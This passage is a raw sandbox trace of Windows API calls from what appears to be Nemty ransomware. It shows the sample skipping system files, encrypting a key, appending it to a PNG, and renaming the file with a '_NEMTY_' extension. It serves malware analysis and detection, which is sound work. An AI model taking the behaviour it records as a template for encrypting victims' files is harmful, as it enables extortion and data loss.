[0066.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e8 | out: hHeap=0x4f90000) returned 1 [0066.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0066.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0066.131] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="rsa") returned -1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="programdata") returned -1 [0066.131] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0066.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0066.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0066.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0066.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0066.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0066.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943d0 [0066.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0066.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0066.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0066.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0066.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943d0 | out: hHeap=0x4f90000) returned 1 [0066.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0066.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0066.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0066.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0066.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0066.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0066.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0066.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0066.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0066.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0066.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0066.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0066.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0066.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0066.132] Sleep (dwMilliseconds=0x5) [0066.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb120ab0, dwHighDateTime=0x1d561e7)) [0066.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb120ab0, dwHighDateTime=0x1d561e7)) [0066.142] GetLastError () returned 0x5 [0066.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.142] GetLastError () returned 0x5 [0066.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0066.142] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0066.142] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0066.142] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0066.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0066.142] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="wFD9dDveXwEiN1jQ1T8ANgbl8KjP2t6ASKw3N3R0EZvtp2DDjv4IY2T5/jH8Er7S\r\nCBHjlFAthAOSHcdVzwh/xr885yeNG3eR2dIm1njRU0sFIyFuFl6T5/W4zMEF+Ebq\r\nOWx4pc95lRUXLg9mQPsqGoOd+HZ/H1BzE5BtLUgnNcR07SQ7A263hHYr1I149nrP\r\naE+fPX0YW7zFYPldqJ1rxAl16WtwDbmaVp4mAO3KGXy3uN17xWIgKygYtHUn5XiB\r\np9t1vCk3BuWbtXGSHZ08q04oBhHsDpFCJbgpR3G26CpgtY4AK3/SYLwiQmlSLloq\r\nTYeWifURYGqkYaJEu4qlAw==\r\n", pcchString=0x653e91c) returned 1 [0066.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0066.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0066.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0066.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0066.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0066.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0066.142] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.143] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0066.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0066.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.143] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.153] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.153] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.163] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.163] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.172] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.184] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.184] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.227] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.237] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.237] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.246] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.246] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0066.258] CloseHandle (hObject=0xffffffff) returned 0 [0066.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0066.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0066.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0066.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0066.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0066.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0066.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0066.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0066.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.258] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0066.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0066.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0066.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0066.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0066.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0066.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0066.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0066.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0066.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0066.259] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="rsa") returned -1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0066.259] lstrcmpiW 